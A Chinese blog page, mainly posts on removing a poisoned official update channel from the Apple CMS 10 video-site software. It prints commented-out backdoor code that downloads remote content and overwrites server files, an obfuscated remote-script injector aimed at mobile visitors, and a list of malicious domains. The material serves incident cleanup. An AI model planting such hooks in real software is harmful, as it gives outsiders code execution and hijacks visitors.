AI摘要 本文详细介绍了如何从苹果cms10中去除官方更新，以应对官方更新通道可能存在的安全风险。主要步骤包括：从GitHub下载源代码，批量替换官方域名为空或自定义域名，注释掉`Update.php`和`Safety.php`中的更新后门代码，移除播放器文件中的广告链接，以及注释掉多个JavaScript文件中的更新检测和请求代码。此外，还建议在服务器层面屏蔽官方域名，以彻底杜绝潜在的安全隐患。 此内容根据文章生成，仅用于文章内容的解释与总结 苹果cms10 去除官方更新根据奇安信实锤，基本上可以确认是官方更新通道投毒https://mp.weixin.qq.com/s/nl_Pntpoys9NVBp7RKLJvg1.下载源代码从github中下载源代码，一般来说后门不会直勾勾的写在github上，都是通过安装之后通过自动更新加入到代码中。所以此时的github代码是安全的https://github.com/magicblack/maccms102.批量替换域名（关键）使用代码编辑器，批量替换代码域名，此处域名我以自己网站代替，即使自己的域名有些请求失败，但是也好过官方的。union.maccms.la => 所有带有该域名的链接全部改为空maccms.la => 替换成自己的域名aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv => 该字符串为更新域名的base64编码，替换为空，有两处地方要修改。application/admin/controller/Update.phpapplication/admin/controller/Safety.php3.注释更新后门文件（关键）文件路径：application/admin/controller/Update.php<?php namespace app\admin\controller; use think\Db; use app\common\util\PclZip; class Update extends Base { var $_url; var $_save_path; public function __construct() { parent::__construct(); //header('X-Accel-Buffering: no'); $this->_url = base64_decode("")."v10/"; $this->_save_path = './application/data/update/'; } public function index() { return $this->fetch('admin@test/index'); } public function step1($file='') { // if(empty($file)){ // return $this->error(lang('param_err')); // } // $version = config('version.code'); // $url = $this->_url .$file . '.zip?t='.time(); // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step1_a')." ".lang('admin/update/step1_b')."\n"; // ob_flush();flush(); // sleep(1); // $save_file = $version.'.zip'; // $html = mac_curl_get($url); // @fwrite(@fopen($this->_save_path.$save_file,'wb'),$html); // if(!is_file($this->_save_path.$save_file)){ // echo lang('admin/update/download_err')."\n"; // exit; // } // if(filesize($this->_save_path.$save_file) <1){ // @unlink($this->_save_path.$save_file); // echo lang('admin/update/download_err')."\n"; // exit; // } // echo lang('admin/update/download_ok')."\n"; // echo lang('admin/update/upgrade_package_processed')."\n"; // ob_flush();flush(); // sleep(1); // $archive = new PclZip(); // $archive->PclZip($this->_save_path.$save_file); // if(!$archive->extract(PCLZIP_OPT_PATH, '', PCLZIP_OPT_REPLACE_NEWER)) { // echo $archive->error_string."\n"; // echo lang('admin/update/upgrade_err').'' ."\n";; // exit; // } // else{ // } // @unlink($this->_save_path.$save_file); // echo ' '; // mac_jump( url('update/step2',['jump'=>1]) ,3); } public function step2() { // $version = config('version.code'); // $save_file = 'database.php'; // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step2_a')." \n"; // ob_flush();flush(); // sleep(1); // $res=true; // // 导入SQL // $sql_file = $this->_save_path .$save_file; // if (is_file($sql_file)) { // echo lang('admin/update/upgrade_sql')."\n"; // ob_flush();flush(); // $pre = config('database.prefix'); // $schema = Db::query('select * from information_schema.columns where table_schema = ?',[ config('database.database') ]); // $col_list = []; // $sql=''; // foreach($schema as $k=>$v){ // $col_list[$v['TABLE_NAME']][$v['COLUMN_NAME']] = $v; // } // @include $sql_file; // //dump($sql);die; // /* // //$html = @file_get_contents($sql_file); // //$sql = mac_get_body($html,'--'.$version.'-start--','--'.$version.'-end--'); // $sql = @file_get_contents($sql_file); // */ // if(!empty($sql)) { // $sql_list = mac_parse_sql($sql, 0, ['mac_' => $pre]); // if ($sql_list) { // $sql_list = array_filter($sql_list); // foreach ($sql_list as $v) { // echo $v; // try { // Db::execute($v); // echo " ---".lang('success')."\n\n"; // } catch (\Exception $e) { // echo " ---".lang('fail')."\n\n"; // } // ob_flush();flush(); // } // } // } // else{ // } // @unlink($sql_file); // } // else{ // echo lang('admin/update/no_sql')."\n"; // } // echo ' '; // mac_jump(url('update/step3', ['jump' => 1]), 3); } public function step3() { // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step3_a')." \n"; // ob_flush();flush(); // sleep(1); // $this->_cache_clear(); // echo lang('admin/update/update_cache')." "; // echo lang('admin/update/upgrade_complete')." "; // if(is_file($this->_save_path . 'database.php')){ // echo "" . lang('admin/update/not_delete') . ":application/data/update/database.php"; // } // ob_flush();flush(); // echo ' '; } public function one() { // $param = input(); // $a = $param['a']; // $b = $param['b']; // $c = $param['c']; // $d = $param['d']; // $e = mac_curl_get( base64_decode("") . $a."/".$b); // if (stripos($e, 'cbfc17ea5c504aa1a6da788516ae5a4c') !== false) { // if (($d!="") && strpos(",".$e,$d) <=0){ return; } // if($b=='admin.php'){$b=IN_FILE;} // $f = is_file($b) ? filesize($b) : 0; // if (intval($c)<>intval($f)) { @fwrite(@fopen( $b,"wb"),$e); } // } die; } }4.播放器文件去除广告链接（关键）文件路径：static/js/player.js文件路径：static_new/js/player.js该播放器文件代码已混淆，解密后发现官方在手机端引入//union.maccms.la/html/top10.js从而有概率跳转广告解密后文件如下var killErrors = function(value) { return true }; window.onerror = null; window.onerror = killErrors; var base64EncodeChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; var base64DecodeChars = new Array(-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1); function base64encode(str) { var out, i, len; var c1, c2, c3; len = str.length; i = 0; out = ""; while (i < len) { c1 = str.charCodeAt(i++) & 0xff; if (i == len) { out += base64EncodeChars.charAt(c1 >> 2); out += base64EncodeChars.charAt((c1 & 0x3) << 4); out += "=="; break } c2 = str.charCodeAt(i++); if (i == len) { out += base64EncodeChars.charAt(c1 >> 2); out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4)); out += base64EncodeChars.charAt((c2 & 0xF) << 2); out += "="; break } c3 = str.charCodeAt(i++); out += base64EncodeChars.charAt(c1 >> 2); out += base64EncodeChars.charAt(((c1 & 0x3) << 4) | ((c2 & 0xF0) >> 4)); out += base64EncodeChars.charAt(((c2 & 0xF) << 2) | ((c3 & 0xC0) >> 6)); out += base64EncodeChars.charAt(c3 & 0x3F) } return out } function base64decode(str) { var c1, c2, c3, c4; var i, len, out; len = str.length; i = 0; out = ""; while (i < len) { do { c1 = base64DecodeChars[str.charCodeAt(i++) & 0xff] } while (i < len && c1 == -1); if (c1 == -1) break; do { c2 = base64DecodeChars[str.charCodeAt(i++) & 0xff] } while (i < len && c2 == -1); if (c2 == -1) break; out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4)); do { c3 = str.charCodeAt(i++) & 0xff; if (c3 == 61) return out; c3 = base64DecodeChars[c3] } while (i < len && c3 == -1); if (c3 == -1) break; out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2)); do { c4 = str.charCodeAt(i++) & 0xff; if (c4 == 61) return out; c4 = base64DecodeChars[c4] } while (i < len && c4 == -1); if (c4 == -1) break; out += String.fromCharCode(((c3 & 0x03) << 6) | c4) } return out } function utf16to8(str) { var out, i, len, c; out = ""; len = str.length; for (i = 0; i < len; i++) { c = str.charCodeAt(i); if ((c >= 0x0001) && (c <= 0x007F)) { out += str.charAt(i) } else if (c > 0x07FF) { out += String.fromCharCode(0xE0 | ((c >> 12) & 0x0F)); out += String.fromCharCode(0x80 | ((c >> 6) & 0x3F)); out += String.fromCharCode(0x80 | ((c >> 0) & 0x3F)) } else { out += String.fromCharCode(0xC0 | ((c >> 6) & 0x1F)); out += String.fromCharCode(0x80 | ((c >> 0) & 0x3F)) } } return out } function utf8to16(str) { var out, i, len, c; var char2, char3; out = ""; len = str.length; i = 0; while (i < len) { c = str.charCodeAt(i++); switch (c >> 4) { case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: out += str.charAt(i - 1); break; case 12: case 13: char2 = str.charCodeAt(i++); out += String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F)); break; case 14: char2 = str.charCodeAt(i++); char3 = str.charCodeAt(i++); out += String.fromCharCode(((c & 0x0F) << 12) | ((char2 & 0x3F) << 6) | ((char3 & 0x3F) << 0)); break } } return out } var MacPlayer = { 'GetDate': function(f, t) { if (!t) { t = new Date() } var a = ['日', '一', '二', '三', '四', '五', '六']; f = f.replace(/yyyy|YYYY/, t.getFullYear()); f = f.replace(/yy|YY/, (t.getYear() % 100) > 9 ? (t.getYear() % 100).toString() : '0' + (t.getYear() % 100)); f = f.replace(/MM/, t.getMonth() > 9 ? t.getMonth().toString() : '0' + t.getMonth()); f = f.replace(/M/g, t.getMonth()); f = f.replace(/w|W/g, a[t.getDay()]); f = f.replace(/dd|DD/, t.getDate() > 9 ? t.getDate().toString() : '0' + t.getDate()); f = f.replace(/d|D/g, t.getDate()); f = f.replace(/hh|HH/, t.getHours() > 9 ? t.getHours().toString() : '0' + t.getHours()); f = f.replace(/h|H/g, t.getHours()); f = f.replace(/mm/, t.getMinutes() > 9 ? t.getMinutes().toString() : '0' + t.getMinutes()); f = f.replace(/m/g, t.getMinutes()); f = f.replace(/ss|SS/, t.getSeconds() > 9 ? t.getSeconds().toString() : '0' + t.getSeconds()); f = f.replace(/s|S/g, t.getSeconds()); return f }, 'GetUrl': function(s, n) { return this.Link.replace('{sid}', s).replace('{sid}', s).replace('{nid}', n).replace('{nid}', n) }, 'Go': function(s, n) { location.href = this.GetUrl(s, n) }, 'Show': function() { $('#buffer').attr('src', this.Prestrain); setTimeout(function() { MacPlayer.AdsEnd() }, this.Second * 1000); $("#playleft").get(0).innerHTML = this.Html + ''; // 非Windows和Mac平台官方投毒 // if (!/(Win|Mac)/i.test(navigator.platform)) { // var a = document.createElement('script'); // a.type = 'text/javascript'; // a.async = true; // a.charset = 'utf-8'; // a.src = base64decode('Ly91bmlvbi5tYWNjbXMubGEvaHRtbC90b3AxMC5qcw==') + '?r=' + this.GetDate('yyyyMMdd'); // var b = document.getElementsByTagName('script')[0]; // b.parentNode.insertBefore(a, b) // } }, 'AdsStart': function() { if ($("#buffer").attr('src') != this.Buffer) { $("#buffer").attr('src', this.Buffer) } $("#buffer").show() }, 'AdsEnd': function() { $('#buffer').hide() }, 'Install': function() { this.Status = false; $('#install').show() }, 'Play': function() { document.write(' ' + ' ' + ' '); this.offsetHeight = $('.MacPlayer').get(0).offsetHeight; this.offsetWidth = $('.MacPlayer').get(0).offsetWidth; document.write('<scr' + 'ipt src="' + this.Path + this.PlayFrom + '.js"></scr' + 'ipt>') }, 'Down': function() {}, 'Init': function() { this.Status = true; this.Parse = ''; var a = player_aaaa; if (a.encrypt == '1') { a.url = unescape(a.url); a.url_next = unescape(a.url_next) } else if (a.encrypt == '2') { a.url = unescape(base64decode(a.url)); a.url_next = unescape(base64decode(a.url_next)) } this.Agent = navigator.userAgent.toLowerCase(); this.Width = MacPlayerConfig.width; this.Height = MacPlayerConfig.height; if (this.Agent.indexOf("android") > 0 || this.Agent.indexOf("mobile") > 0 || this.Agent.indexOf("ipod") > 0 || this.Agent.indexOf("ios") > 0 || this.Agent.indexOf("iphone") > 0 || this.Agent.indexOf("ipad") > 0) { this.Width = MacPlayerConfig.widthmob; this.Height = MacPlayerConfig.heightmob } if (this.Width.indexOf("px") == -1 && this.Width.indexOf("%") == -1) { this.Width = '100%' } if (this.Height.indexOf("px") == -1 && this.Height.indexOf("%") == -1) { this.Height = '100%' } this.Prestrain = MacPlayerConfig.prestrain; this.Buffer = MacPlayerConfig.buffer; this.Second = MacPlayerConfig.second; this.Flag = a.flag; this.Trysee = a.trysee; this.Points = a.points; this.Link = decodeURIComponent(a.link); this.PlayFrom = a.from; this.PlayNote = a.note; this.PlayServer = a.server == 'no' ? '' : a.server; this.PlayUrl = a.url; this.PlayUrlNext = a.url_next; this.PlayLinkNext = a.link_next; this.PlayLinkPre = a.link_pre; this.Id = a.id; this.Sid = a.sid; this.Nid = a.nid; if (MacPlayerConfig.server_list[this.PlayServer] != undefined) { this.PlayServer = MacPlayerConfig.server_list[this.PlayServer].des } if (MacPlayerConfig.player_list[this.PlayFrom] != undefined) { if (MacPlayerConfig.player_list[this.PlayFrom].ps == "1") { this.Parse = MacPlayerConfig.player_list[this.PlayFrom].parse == '' ? MacPlayerConfig.parse : MacPlayerConfig.player_list[this.PlayFrom].parse; this.PlayFrom = 'parse' } } this.Path = maccms.path + '/static/player/'; if (this.Flag == "down") { MacPlayer.Down() } else { MacPlayer.Play() } } }; MacPlayer.Init(); 5.注释更新JavaScript文件文件路径：static_new/js/update.js// String.prototype.replaceAll = function (FindText, RepText) { // regExp = new RegExp(FindText, "g"); // return this.replace(regExp, RepText); // } // function getQS(par, name) { // var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)"); // var r = par.substr(1).match(reg); // if (r != null) return unescape(r[2]); return null; // } // function msck(n, v) { var exp = new Date(); exp.setTime(exp.getTime() + 30 * 60 * 1000); document.cookie = n + "=" + escape(v) + ";path=/;expires=" + exp.toGMTString() } // function mgck(n) { var arr, reg = new RegExp("(^| )" + n + "=([^;]*)(;|$)"); if (arr = document.cookie.match(reg)) return unescape(arr[2]); else return null } // var new_v = '2024.1000.4044'; // var update_content = [ // 'v2024.1000.4044 更新内容：', // '1，优化重名检测卡顿问题。', // '2，入库重复规移除名称必选和新增豆瓣id。', // '3，修正帐号无法登出问题。', // '4，其他细节优化。', // ].join(' '); // var package = 'maccms10_update'; // var domain = 'update.000081.xyz/'; // var params = window.location.search; // var scripts = document.getElementsByTagName('script'); // for (i = 0; i < scripts.length; i++) { // var lastUrl = scripts[i].src; // if (lastUrl.indexOf(domain) > -1) { // params = lastUrl.substr(lastUrl.indexOf('?')); // } // } // var de = new Date(), mh = de.getMonth() + 1, da = de.getDate(), rr = mh + "" + da; // var c = getQS(params, 'c'); // var v = getQS(params, 'v'); // var p = getQS(params, 'p'); // var tp = getQS(params, 'tp'); // var v1 = v.replace(/\./g, ""); // var v2 = new_v.replace(/\./g, ""); // var html = ''; // if (v2 > v1) { // html += ` // // // 更新提示【${new_v}】>>> // Telegram群https://t.me/maccms_channel // // Github源码https://github.com/magicblack // // // // // // 警告，补丁包【${new_v}】发布，修复安全漏洞和更新服务，请及时升级相应补丁！ // // // 【点击进入在线升级】 // // // 【下载离线升级包线路1】 // // // 【下载离线升级包线路2】 // // // // // ${update_content} // // `; // } // else { // html += ` // // // 更新提示>>> // Telegram群https://t.me/maccms_channel // // Github源码https://github.com/magicblack // // // // 当前是最新版本！ // // `; // } // if (tp != null) { // var v3 = tp.replace(/\./g, ""); // if (v3 < 5024) { // html += ` // // ThinkPHP框架更新提示 // // // // 警告：ThinkPHP5.0.24版本发布安全更新，建议更新框架以免造成不必要的损失，下载后直接覆盖到网站根目录即可！ // // 【点击下载框架升级包】 // // // // `; // } // } // $("body").append(" "); // $("table:last").after(html);6.注释index.html下的ajax更新请求文件路径：application/admin/view_new/index/index.html var layer; layui.use(['element', 'layer', 'form'], function () { var $ = layui.jquery, element = layui.element, form = layui.form; layer = layui.layer; console.log("MAC_VERSION", MAC_VERSION) // if (typeof (MAC_VERSION) != 'undefined' && typeof (PHP_VERSION) != 'undefined' && typeof (THINK_VERSION) != 'undefined') { // $.ajax({ // url: `https://update.000081.xyz/v10/?c=check&v=${MAC_VERSION}&p=${PHP_VERSION}&tp=${THINK_VERSION}&t=${Math.random()}`, // type: 'GET', // dataType: 'text', // 确保返回的数据被视为纯文本 // success: function (response) { // // 使用正则表达式提取update_content // // var updateContentRegex = /var update_content = \[((?:.|\n)*?)\].join\(' \');/g; // var updateContentMatch = response.match(/var update_content\s*=\s*\[(.*?)\]\.join\(' '\);/s); // console.log("updateContentMatch", updateContentMatch) // if (updateContentMatch){ // eval(updateContentMatch[0]) // } // // 使用正则表达式提取new_v // var newVRegex = /var new_v = '(.*?)';/; // var newVMatch = response.match(newVRegex); // var newV = newVMatch ? newVMatch[1] : '未找到new_v'; // if (newV > MAC_VERSION) { // // 存储更新信息到全局变量，供showUpdateDialog函数使用 // window.updateInfo = { // newV: newV, // update_content: update_content, // package: 'maccms10_update' // }; // // 显示更新按钮而不是直接弹窗（在两个位置都显示） // $('.layout-right #update-notification').show().addClass('show'); // $('.bottom-nav #update-notification').show().addClass('show'); // } // }, // error: function (xhr, status, error) { // console.error('AJAX请求失败:', error); // } // }); // } // layer.msg('提示信息', { time: 180000 }); element.init('nav', 'demo'); // 重新渲染select，将下拉弹层插入到body form.render('select', { render: true });7.注释检测更新文件文件路径：static/js/admin_common.js第19行 $(function(){ if( typeof(MAC_VERSION) !='undefined' && typeof(PHP_VERSION) !='undefined' && typeof(THINK_VERSION) !='undefined' ) { // eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('$(\'3\').9(\'<0\'+\'1 4="\'+\'//5.6.7/8/?c=2&a=\'+b+\'&d=\'+e+\'&f=\'+g+\'&h=\'+i.j()+\'"></0\'+\'1>\');',20,20,'scr|ipt|check|body|src|update|maccms|la|v10|append|v|MAC_VERSION||p|PHP_VERSION|tp|THINK_VERSION|t|Math|random'.split('|'),0,{})); } });该混淆解码后内容如下$('body').append(' ');8.屏蔽maccms.la域名，可选操作服务器中，屏蔽官方域名，防止其他没改到的地方更新maccms.la*.maccms.la9.屏蔽旧版本兼容(2026.5.1发现)文件路径：application/common/controller/All.php55-56行<?php if (strtolower(request()->controller()) != 'rss' && isset($GLOBALS['config']['site']['site_polyfill']) && $GLOBALS['config']['site']['site_polyfill'] == 1){ $polyfill = <<<polyfill polyfill; $html = str_replace('content="no-referrer"','content="always"',$html); $html = str_replace(' ', $polyfill . ' ', $html); }引入一个polyfill文件，此处去掉 if (strtolower(request()->controller()) != 'rss' && isset($GLOBALS['config']['site']['site_polyfill']) && $GLOBALS['config']['site']['site_polyfill'] == 1){ $polyfill = <<<polyfill polyfill; $html = str_replace('content="no-referrer"','content="always"',$html); $html = str_replace(' ', $polyfill . ' ', $html); } return $html;
苹果cms10 挂码手机端自动跳转非法网站处理
AI摘要 苹果cms10手机端自动跳转非法网站，经证实是官方更新通道投毒。恶意链接包括播放器引用`union.maccms.la`和`application/extra/active.php`文件，后者加载伪装的恶意JS，主要针对移动端。处理方法：1. 屏蔽官方更新域名`update.maccms.la`，将代码中相关链接置空或注释`Update.php`和`Safety.php`中的更新方法。2. 批量替换所有`maccms.la`域名。3. 删除`application/extra/active.php`文件。 此内容根据文章生成，仅用于文章内容的解释与总结 苹果cms10 挂码手机端自动跳转非法网站处理{alert type="info"}程序使用的是maccms.la的苹果cms，记录目前处理方法，不一定有效，可能还有漏网之鱼。{/alert}{message type="error" content="2026/3/15 17:00 实测此方法并不能完全解决，还有漏网之鱼，手机端还是偶尔会跳转"/}去更新可以查看这篇 https://www.000081.xyz/index.php/archives/388/{message type="success" content="2026/3/15 18:00 请从github下载最新的程序，进行域名替换，去除官方更新，然后再导入数据库数据，此方法目前有效"/}根据奇安信实锤，基本上可以确认是官方更新通道投毒https://mp.weixin.qq.com/s/nl_Pntpoys9NVBp7RKLJvg1.目前已知的非法跳转有播放器引用链接：union.maccms.la/html/prestrain.html播放器引用链接：union.maccms.la/html/loading.htmlapplication/extra/active.php文件active.php文件里面有gzuncompress加密，借助ai代码审计后解密后的内容 AI代码审计主要恶意文件：application/extra/active.php 该文件包含大量恶意代码，通过 gzuncompress 压缩隐藏： 解密后发现的内容： 恶意JavaScript脚本：加载外部恶意URL https://code.jquecy.com/jquery.min-3.6.8.js（伪装成jQuery） 恶意域名列表：用于流量劫持和跳转 http://maccms.info:88 https://www.ywquyq.com:10443 https://vodplay2.com 等多个恶意域名 攻击特点： ✅ 仅针对移动端用户（!$env->isMobile() 时跳过） ✅ 绕过管理员IP检测 ✅ 通过 view_filter 钩子自动执行 ✅ 包含反调试功能伪装的jquery链接，在电脑打开，返回内容为空白，电脑切换为手机的ua，才会正常加载内容2.处理方法2.1.屏蔽官方更新更新文件路径：application/admin/controller/Update.php更新文件路径：application/admin/controller/Safety.php将所有 "aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv" 内容替换为 ""aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv内容base64解码后为http://update.maccms.la/Update.php文件中，方法内容注释<?php namespace app\admin\controller; use think\Db; use app\common\util\PclZip; class Update extends Base { var $_url; var $_save_path; public function __construct() { parent::__construct(); //header('X-Accel-Buffering: no'); //aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv $this->_url = base64_decode("")."v10/"; $this->_save_path = './application/data/update/'; } public function index() { return $this->fetch('admin@test/index'); } public function step1($file='') { // if(empty($file)){ // return $this->error(lang('param_err')); // } // $version = config('version.code'); // $url = $this->_url .$file . '.zip?t='.time(); // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step1_a')." ".lang('admin/update/step1_b')."\n"; // ob_flush();flush(); // sleep(1); // $save_file = $version.'.zip'; // $html = mac_curl_get($url); // @fwrite(@fopen($this->_save_path.$save_file,'wb'),$html); // if(!is_file($this->_save_path.$save_file)){ // echo lang('admin/update/download_err')."\n"; // exit; // } // if(filesize($this->_save_path.$save_file) <1){ // @unlink($this->_save_path.$save_file); // echo lang('admin/update/download_err')."\n"; // exit; // } // echo lang('admin/update/download_ok')."\n"; // echo lang('admin/update/upgrade_package_processed')."\n"; // ob_flush();flush(); // sleep(1); // $archive = new PclZip(); // $archive->PclZip($this->_save_path.$save_file); // if(!$archive->extract(PCLZIP_OPT_PATH, '', PCLZIP_OPT_REPLACE_NEWER)) { // echo $archive->error_string."\n"; // echo lang('admin/update/upgrade_err').'' ."\n";; // exit; // } // else{ // } // @unlink($this->_save_path.$save_file); // echo ' '; // mac_jump( url('update/step2',['jump'=>1]) ,3); } public function step2() { // $version = config('version.code'); // $save_file = 'database.php'; // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step2_a')." \n"; // ob_flush();flush(); // sleep(1); // $res=true; // // 导入SQL // $sql_file = $this->_save_path .$save_file; // if (is_file($sql_file)) { // echo lang('admin/update/upgrade_sql')."\n"; // ob_flush();flush(); // $pre = config('database.prefix'); // $schema = Db::query('select * from information_schema.columns where table_schema = ?',[ config('database.database') ]); // $col_list = []; // $sql=''; // foreach($schema as $k=>$v){ // $col_list[$v['TABLE_NAME']][$v['COLUMN_NAME']] = $v; // } // @include $sql_file; // //dump($sql);die; // /* // //$html = @file_get_contents($sql_file); // //$sql = mac_get_body($html,'--'.$version.'-start--','--'.$version.'-end--'); // $sql = @file_get_contents($sql_file); // */ // if(!empty($sql)) { // $sql_list = mac_parse_sql($sql, 0, ['mac_' => $pre]); // if ($sql_list) { // $sql_list = array_filter($sql_list); // foreach ($sql_list as $v) { // echo $v; // try { // Db::execute($v); // echo " ---".lang('success')."\n\n"; // } catch (\Exception $e) { // echo " ---".lang('fail')."\n\n"; // } // ob_flush();flush(); // } // } // } // else{ // } // @unlink($sql_file); // } // else{ // echo lang('admin/update/no_sql')."\n"; // } // echo ' '; // mac_jump(url('update/step3', ['jump' => 1]), 3); } public function step3() { // echo $this->fetch('admin@public/head'); // echo " ".lang('admin/update/step3_a')." \n"; // ob_flush();flush(); // sleep(1); // $this->_cache_clear(); // echo lang('admin/update/update_cache')." "; // echo lang('admin/update/upgrade_complete')." "; // if(is_file($this->_save_path . 'database.php')){ // echo "" . lang('admin/update/not_delete') . ":application/data/update/database.php"; // } // ob_flush();flush(); // echo ' '; } public function one() { // $param = input(); // $a = $param['a']; // $b = $param['b']; // $c = $param['c']; // $d = $param['d']; // //aHR0cDovL3VwZGF0ZS5tYWNjbXMubGEv // $e = mac_curl_get( base64_decode("") . $a."/".$b); // if (stripos($e, 'cbfc17ea5c504aa1a6da788516ae5a4c') !== false) { // if (($d!="") && strpos(",".$e,$d) <=0){ return; } // if($b=='admin.php'){$b=IN_FILE;} // $f = is_file($b) ? filesize($b) : 0; // if (intval($c)<>intval($f)) { @fwrite(@fopen( $b,"wb"),$e); } // } die; } }保险起见可以在服务器屏蔽官方域名maccms.la*.maccms.la2.2.替换所有maccms.la域名代码中批量替换所有maccms.la域名，将带有maccms.la域名的参数和链接全部置空，也可以替换成自己的域名，即使打不开也好过引用官方的链接2.3.删除active.php文件删除产生的active.php文件application/extra/active.php
苹果cms10 列表和搜索过滤会员组没有权限的数据
AI摘要 苹果cms10在列表和搜索中可能显示会员组无权限数据。新版本可通过后台“网站基础参数-性能优化-数据权限过滤”开启此功能。老版本需手动修改`application/common/model/Vod.php`文件。在`listData`方法中，增加代码以根据当前用户组的`group_type`过滤`type_id`，确保用户只能看到其会员组有权限的内容，避免点击后才提示登录。 此内容根据文章生成，仅用于文章内容的解释与总结 苹果cms10 列表和搜索过滤会员组没有权限的数据苹果cms10的列表中，会出现会员组没有权限的数据，只有点进去才会提示登录。1.新版本后台-》网站基础参数-》性能优化-》数据权限过滤开启即可2.老版本编辑文件application/common/model/Vod.php找到listData方法，增加过滤方法public function listData($where,$order,$page=1,$limit=20,$start=0,$field='*',$addition=1,$totalshow=1) { $page = $page > 0 ? (int)$page : 1; $limit = $limit ? (int)$limit : 20; $start = $start ? (int)$start : 0; if(!is_array($where)){ $where = json_decode($where,true); } $where2=''; if(!empty($where['_string'])){ $where2 = $where['_string']; unset($where['_string']); } // =====修改开始===== // 增加会员组过滤方法 $where3 = []; // 如果是用户请求 if(isset($GLOBALS['user'])){ $category_ids = array_filter(explode(',',$GLOBALS['user']['group']['group_type'])); $where3['type_id'] = ['in',$category_ids]; } $limit_str = ($limit * ($page-1) + $start) .",".$limit; if($totalshow==1) { // 增加where3查询 $total = $this->where($where)->where($where2)->where($where3)->count(); } // 增加where3查询 $list = Db::name('Vod')->field($field)->where($where)->where($where2)->where($where3)->order($order)->limit($limit_str)->select(); // =====修改结束===== //分类 $type_list = model('Type')->getCache('type_list'); //用户组 $group_list = model('Group')->getCache('group_list'); foreach($list as $k=>$v){ if($addition==1){ if(!empty($v['type_id'])) { $list[$k]['type'] = $type_list[$v['type_id']]; $list[$k]['type_1'] = $type_list[$list[$k]['type']['type_pid']]; } if(!empty($v['group_id'])) { $list[$k]['group'] = $group_list[$v['group_id']]; } } } return ['code'=>1,'msg'=>lang('data_list'),'page'=>$page,'pagecount'=>ceil($total/$limit),'limit'=>$limit,'total'=>$total,'list'=>$list]; }
ThinkPHP6 跨域开起后某些接口请求报错跨域
AI摘要 ThinkPHP6部署后部分接口出现跨域报错，经排查发现是路由与控制器命名不规范所致。通过将驼峰式命名改为简洁的单个单词命名，可有效解决该跨域问题。建议开发时保持路由与控制器命名规范统一。 此内容根据文章生成，仅用于文章内容的解释与总结 ThinkPHP6 跨域开起后某些接口请求报错跨域所有接口在本地调试正常，但是部署在服务器之后有的接口出现跨域报错。解决办法路由文件和控制器命名要规范，最好使用单个单词 原# 控制器名 PhotoAlbums.pnp # 控制器类名 PhotoAlbums # 路由名 Route::any('photoAlbums', 'home/photoAlbums/index')->name('photoAlbumsHome');现# 控制器名 Photo.pnp # 控制器类名 Photo # 路由名 Route::any('photo', 'home/photo/index')->name('photoHome');成功解决问题
AI摘要 在ThinkPHP6中开启跨域，可通过继承`think\middleware\AllowCrossDomain`新建自定义中间件，并在类中配置`Access-Control`相关响应头。随后在`app/middleware.php`中注册该中间件，即可实现全局或路由级别的跨域支持。 此内容根据文章生成，仅用于文章内容的解释与总结 ThinkPHP6 开启接口跨域1.新建中间件<?php namespace app\home\middleware; use Closure; use think\middleware\AllowCrossDomain; use think\Request; use think\Response; use think\response\Redirect; class Allow extends AllowCrossDomain { protected $header = [ 'Access-Control-Allow-Credentials' => 'true', 'Access-Control-Max-Age' => 1800, 'Access-Control-Allow-Methods' => 'GET, POST, PATCH, PUT, DELETE, OPTIONS', 'Access-Control-Allow-Headers' => 'Authorization, Content-Type, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, X-CSRF-TOKEN, X-Requested-With, jwtToken', ]; }2.全局使用中间件或者路由使用中间件app/middleware.php<?php // 全局中间件定义文件 return [ // 加上这句 \app\home\middleware\Allow::class, ];
